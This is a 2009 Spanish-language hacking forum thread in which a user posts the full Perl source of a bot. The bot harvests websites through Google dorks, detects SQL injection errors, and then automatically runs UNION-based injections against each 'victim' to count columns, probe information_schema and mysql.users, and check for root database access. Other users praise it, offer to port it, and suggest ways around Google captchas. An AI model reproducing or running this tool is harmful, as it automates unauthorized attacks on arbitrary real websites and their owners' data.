elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Sigue las noticias más importantes de seguridad informática en el Twitter! de elhacker.NET


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking
| | |-+  Bugs y Exploits
| | | |-+  Nivel Web (Moderadores: sirdarckcat, WHK)
| | | | |-+  Bot MySQL Search Google 2.0
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Bot MySQL Search Google 2.0  (Leído 6,095 veces)
MagnoBalt

Desconectado Desconectado

Mensajes: 58


Los Buenos Artitas Copian, los Grandes Roban


Ver Perfil
Bot MySQL Search Google 2.0
« en: 19 Octubre 2009, 05:59 am »

Bueno gente aca les dejo un BOT que que lo codee hace un tiempito atras. El que publico, está en la version 2.0.
Lo que hace el BOT es buscar en google con un patron de busqueda y luego testear si la pagina es posiblemente inyectable a SQL., en el caso de que lo sea lo guarda para despues intentar inyectar por si solo. Todo lo almacena en un archivo que nosotros le pasamos como parametro su nombre. Un Ejemplo de uso:

          
Citar
+++++++++++++++++++++++++++++++++++++
                +     Bot MySQL Search Google 2.0   +
                +         By MagnoBalt              +
                +++++++++++++++++++++++++++++++++++++

[?]Ingrese Patron de Busqueda (ej: inurl:.php?id_noticia=: >> inurl:noticias.php?id= site:com.ar
[?]Total de paginas de busquedas en Google: >> 10                                              
[?]Nombre de archivo donde guardar todo: >>argetinas.txt                                        

  • Search:
Fijense los parametros. el primero es el patron de busqueda inurl:noticias.php?id= site:com.ar
, el segundo es la cantidad de paginas para google 10, y en el tercer es el nombre del archivo donde almacenara todo para despues revisarlo con mayor tranquilidad argetinas.txt  

El ataque de la inyeccion se divide en estos pasos.+
1. Obviamente sacar la cantidad de columnas mediante la clausula UNION con una cota superior de 50. (eso lo pueden modificar en el codigo si quieren aun mas)
2. Verificar disponibilidad de Information_schema
3. Verificar disponibilidad de Mysq.Users
4. Verificar si el usuario de la base de datos es r00t. :)

Tengo pensado seguir agregandole mas cosas como busquedas atraves del BING y testeo de otras posibles formas de inyecciones. Si alguien tiene alguna sugerencia, critica, comentario, codigo lo que sea con mucho gusto sera recibido..

Aqui va el codigo.

Código
  1. #Bot MySql Search Google v 2.0
  2. #Coded by Magnobalt
  3. #contact Msn: magnobalt@gmail.com
  4. #thanks www-Insecurity.cl && www.undersecurity.net
  5.  
  6. #!/usr/bin/perl
  7.        use LWP::Simple;
  8.        use LWP::UserAgent;
  9.        use HTTP::Request;
  10.  
  11. my $sis="$^O";if ($sis eq 'MSWin32') { system("cls"); } else { system("clear"); } #que sistema operativo es
  12.        print "\t\t+++++++++++++++++++++++++++++++++++++\n";
  13.        print "\t\t+     Bot MySQL Search Google 2.0   +\n";
  14.        print "\t\t+         By MagnoBalt              +\n";
  15.    print "\t\t+++++++++++++++++++++++++++++++++++++\n\n";
  16.        print "[?]Ingrese Patron de Busqueda (ej: inurl:.php?id_noticia=: >> ";
  17.        $dork.=<STDIN>;
  18. chomp($dork);
  19. print "[?]Total de paginas de busquedas en Google: >> ";
  20.        $paginas.=<STDIN> ;
  21. chomp($paginas);
  22. print "[?]Nombre de archivo donde guardar todo: >>";
  23. $archivo.=<STDIN>;
  24. chomp($archivo);
  25.        open (AR,">>".$archivo) || die "No puede crear el archivo error: $!";
  26. print "\n[+]Search:\n\n";
  27. print AR "++++++++++++++++++++++++++++++++++++\n";
  28.        print AR "+     Bot MySQL Search Google V2.0 +\n";
  29.        print AR "+         By MagnoBalt             +\n";
  30. print AR "++++++++++++++++++++++++++++++++++++\n\n";
  31. print AR "Patron De Busqueda en Google: $dork y paginas utilizadas: $paginas\n";
  32. print AR "\n[+]Search:\n\n";
  33. #-----------------------------------------------------------------------------------------------------
  34. #Buscando en google vulnerabilidades
  35.        for($i = 0;$i <= $paginas*10;$i += 10)
  36.        {      
  37.        $busqueda = "http://www.google.com/search?hl=en&q=".$dork."&btnG=Search&start=".$i;
  38.    $ua = LWP::UserAgent->new(agent => 'Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12');
  39.            $ua->timeout(7);
  40.            #$ua->env_proxy;
  41.            $response = $ua->get($busqueda);
  42.    $source= $response->content;
  43.            while ($source =~ m/<h3 class=.*?<a href="([^"]+).*?>(.*?)<\/a>/g) {
  44.     $ban=0;    
  45.     my $enlace = $1;
  46.     $testing=$enlace."\'";
  47.     $ua= LWP::UserAgent->new(agent => 'Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12');
  48.     $ua->timeout(10);
  49.     $response = $ua->get($testing);
  50.     $error=$response->content;
  51. if($error=~ /mysql_fetch_/ || $error=~ /You have an error in your SQL syntax/ || $error =~ /tem um erro de sintaxe no seu SQL/ || $error =~ /mysql_num_rows/ || $error =~ /Division by zero in/) {
  52. #-----------------------------------------------------------------------------------------------------
  53. # Verifico si existe la url en entre las victimas para no redundar
  54.  foreach $exist(@victims){
  55.    my($url)=$exist=~m/(http:\/\/[\w+\.]+\/)/;
  56.    my($url2)=$enlace=~m/(http:\/\/[\w+\.]+\/)/;
  57.      if ($url eq $url2){
  58. $ban=1;
  59. }
  60. }#cierre foreach
  61.      if ($ban == 0){
  62. push(@victims,$enlace);
  63.    }
  64. #-----------------------------------------------------------------------------------------------------
  65.  }
  66.    }
  67. }#fin del for
  68.  
  69. if (@victims){ #verifico si no esta vacio el arrays
  70.  print "\n[+]Estas son las  posibles victimas:\n";
  71.  for($i=0;$i<=$#victims;$i++){
  72.  print "[$i]$victims[$i]\n";
  73.  print AR "[$i]$victims[$i]\n";
  74.      }  
  75. }else {
  76.  print "[-]No se encontraron Victimas, realiza otra busqueda o verifica si Google no la bloqueo\n";
  77.  print AR "[-]No se encontraron Victimas, realiza otra busqueda o verifica si Google no la bloqueo\n";
  78.  exit(0);
  79. }
  80. #-----------------------------------------------------------------------------------------------------
  81. # Empezando la automatizacion del bot
  82. #-----------------------------------------------------------------------------------------------------
  83. print"\n\n[+]Empezando la automatizacion del BOT\n";
  84. print AR "\n\n[+]Empezando la automatizacion del BOT\n";
  85. for($ii=0;$ii<=$#victims;$ii++){
  86. $ban2=0;
  87. $victima=$victims[$ii];
  88. print "\n[+] Inyectando a: $victima\n";
  89. $cfin ="--" ;
  90. $cmn="+";
  91. #$victims[$opc]=$victims[$opc]." *";# Coloco al final el Asterisco
  92. $victima=~s/[a-zA-Z0-9_\*\s]+$//g;;#dejo en blanco el ultimo parametro ($) para poder inyectar, inclusive los valores * y espacion en blanco con \s
  93. misma_victima:
  94. if ($ban2 == 1) {
  95.    $cfin ="/*" ;
  96.    $cmn="/**/";
  97. }
  98.  #-----------------------------------------------------------------------------------------------------
  99. #busqueda de Columnas
  100. $column=50;
  101. for ($col=0; $col <=$column;$col++){
  102.     $union.=','."0x6d61676e6f62616c74";
  103.     $numero.=','.$col;
  104.      if ($col ==0){
  105.      $union='';
  106.      $numero='';
  107.      }
  108.     $out=$victima."-1".$cmn."UNION".$cmn."SELECT".$cmn."0x6d61676e6f62616c74".$union.$cfin;
  109.     $ua= LWP::UserAgent->new(agent => 'Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12');
  110.     $ua->timeout(10);
  111.     $response = $ua->get($out);
  112.     $verifica=$response->content;
  113.             if ($verifica =~/magnobalt/) {
  114. $col++;
  115. print "\n[+]La web posee $col";
  116. print "\n[+]".$victima."-1".$cmn."UNION".$cmn."SELECT".$cmn."0".$numero.$cfin."\n\n";
  117. print AR "[SITIO]\n";
  118. print AR "$victima\n";
  119. print AR "[+]La web posee $col\n";
  120. print AR "[+]".$victima."-1".$cmn."UNION".$cmn."SELECT".$cmn."0".$numero.$cfin."\n\n";
  121. #-----------------------------------------------------------------------------------------------------
  122. #buscando Information_schema
  123. print AR "[Information_Schema]\n";
  124. $out=$victima."-1".$cmn."UNION".$cmn."SELECT".$cmn."0x6d61676e6f62616c74".$union.$cmn."FROM".$cmn."information_schema.tables".$cfin;#busco information schema.
  125. $ua= LWP::UserAgent->new(agent => 'Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12');
  126. $ua->timeout(10);
  127. $response = $ua->get($out);
  128. $verifica=$response->content;
  129. if ($verifica =~/magnobalt/){
  130.     print AR "[+]Information Schema Disponible\n\n";
  131.     }else {
  132.     print AR "[-]Information_Schema no Disponible\n\n";
  133.      }
  134. #-----------------------------------------------------------------------------------------------------
  135. #buscando Mysql.users
  136. print AR "[Mysql.users]\n";
  137. $out=$victima."-1".$cmn."UNION".$cmn."SELECT".$cmn."0x6d61676e6f62616c74".$union.$cmn."FROM".$cmn."Mysql.users".$cfin;
  138. $ua= LWP::UserAgent->new(agent => 'Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12');
  139. $ua->timeout(10);
  140. $response = $ua->get($out);
  141. $verifica=$response->content;
  142. if ($verifica =~/magnobalt/){
  143.     print AR "[+]Mysql.users Disponible\n\n";
  144.     }else {
  145.     print AR "[-]Mysql.users no Disponible\n\n";
  146.      }
  147.                 #-----------------------------------------------------------------------------------------------------
  148. #verficando si esta corriendo como root
  149. print AR "[Usuario RooT]\n";
  150. while($j < $col-1){
  151.    $root.=','."concat(0x6d61676e6f62616c74,user())";
  152.    $j++;
  153.  }
  154. $out=$victima."-1".$cmn."UNION".$cmn."SELECT".$cmn."concat(0x6d61676e6f62616c74,user())".$root.$cfin;
  155. $ua= LWP::UserAgent->new(agent => 'Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12');
  156. $ua->timeout(10);
  157. $response = $ua->get($out);
  158. $verifica=$response->content;
  159. if ($verifica=~/magnobaltroot@/){
  160.     print AR "[+]El usuario es root\n\n";
  161.     }else {
  162.     print AR "[-]El usuario no es root\n\n";
  163.      }
  164. push(@victims_on,$victima);
  165. $col=80;#fuerzo salida del for de columnas
  166.  
  167.     }
  168. }#cierre for de columnas
  169.  if ($ban2 == 0 && $col == 51){
  170.            $ban2=1;  
  171.      goto misma_victima;
  172.      }
  173.  if ($cfin eq "/*" && $col == 51){
  174.      push(@victims_off,$victima);
  175.    }
  176.  
  177. }#cierre for principal
  178.  
  179. #------------------------------------------------------------------------------------------------------------
  180. #imprimimos la que tuvieron exitos y las que no
  181.  
  182. print AR "[+]Paginas inyectadas exitosamente\n\n";
  183. for($i=0;$i<=$#victims_on;$i++){
  184.  print AR "[$i]$victims_on[$i]\n";
  185.      }  
  186. print "\n\n";
  187. print AR "\n[-]Estas paginas no se pudieron automatizar intentelas a mano :)\n\n";
  188. for($i=0;$i<=$#victims_off;$i++){
  189.   print AR "[$i]$victims_off[$i]\n";
  190.      }  


Saludos a Todos...

« Última modificación: 19 Octubre 2009, 21:03 pm por MagnoBalt » En línea

MagnoBalt

Desconectado Desconectado

Mensajes: 58


Los Buenos Artitas Copian, los Grandes Roban


Ver Perfil
Re: Bot MySQL Search Google 2.0
« Respuesta #1 en: 19 Octubre 2009, 21:04 pm »

y gente alguien lo probo?
En línea

Debci
Wiki

Desconectado Desconectado

Mensajes: 2.021


Actualizate o muere!


Ver Perfil WWW
Re: Bot MySQL Search Google 2.0
« Respuesta #2 en: 19 Octubre 2009, 22:02 pm »

Gran herramienta, si me permites la voy a migrar a java ^^

Saludos
En línea

MagnoBalt

Desconectado Desconectado

Mensajes: 58


Los Buenos Artitas Copian, los Grandes Roban


Ver Perfil
Re: Bot MySQL Search Google 2.0
« Respuesta #3 en: 19 Octubre 2009, 22:08 pm »

Si no hay drama... Migrala y publica el codigo.!!

Saludos..
En línea

Debci
Wiki

Desconectado Desconectado

Mensajes: 2.021


Actualizate o muere!


Ver Perfil WWW
Re: Bot MySQL Search Google 2.0
« Respuesta #4 en: 19 Octubre 2009, 22:18 pm »

Si no hay drama... Migrala y publica el codigo.!!

Saludos..
A que te refieres con drama??
Por supuesto todo lo que haga es gpl y open source ^^

Saludos
En línea

MagnoBalt

Desconectado Desconectado

Mensajes: 58


Los Buenos Artitas Copian, los Grandes Roban


Ver Perfil
Re: Bot MySQL Search Google 2.0
« Respuesta #5 en: 20 Octubre 2009, 01:39 am »

Drama es igual a problema! que no tengo problema en que migres.. Es mas mejor para todos si lo migras. Tengo pensado seguir agregandole mas cosillas despues..

Saludos bro
En línea

Debci
Wiki

Desconectado Desconectado

Mensajes: 2.021


Actualizate o muere!


Ver Perfil WWW
Re: Bot MySQL Search Google 2.0
« Respuesta #6 en: 20 Octubre 2009, 21:41 pm »

Drama es igual a problema! que no tengo problema en que migres.. Es mas mejor para todos si lo migras. Tengo pensado seguir agregandole mas cosillas despues..

Saludos bro
Estaremos en contacto  ;)

Saludos
En línea

OzX


Desconectado Desconectado

Mensajes: 406

[NuKe] Team


Ver Perfil WWW
Re: Bot MySQL Search Google 2.0
« Respuesta #7 en: 2 Noviembre 2009, 20:39 pm »

1 dato, no creo que sea recomendable, ocupar directamente a google para hacer busquedas, luego de varios intentos te saldra el captcha. prova con la Api en Json de google search.

Saludos¡
En línea

Undersecurity.net
MagnoBalt

Desconectado Desconectado

Mensajes: 58


Los Buenos Artitas Copian, los Grandes Roban


Ver Perfil
Re: Bot MySQL Search Google 2.0
« Respuesta #8 en: 3 Noviembre 2009, 03:44 am »

Si bro tienes razon, eso tengo q corregir. Igual vos ya me tiraste el dato el otro dia :), ahora ando apretado con la facu..

Saludos Gracias!!
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
[Ruby] Google Search 0.3
Scripting
BigBear 0 1,974 Último mensaje 11 Febrero 2012, 23:06 pm
por BigBear
aparecer sitio actualizado en google search
Desarrollo Web
basickdagger 2 1,907 Último mensaje 26 Abril 2013, 16:42 pm
por basickdagger
Google cierra SMS Search
Noticias
wolfbcn 0 1,256 Último mensaje 13 Mayo 2013, 13:00 pm
por wolfbcn
Google Search sube peldaños conversando con nosotros y funcionando como ....
Noticias
wolfbcn 1 1,425 Último mensaje 16 Mayo 2013, 17:17 pm
por REEND
Google Search cambia su nombre a Google
Noticias
wolfbcn 0 1,691 Último mensaje 8 Enero 2015, 21:39 pm
por wolfbcn
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines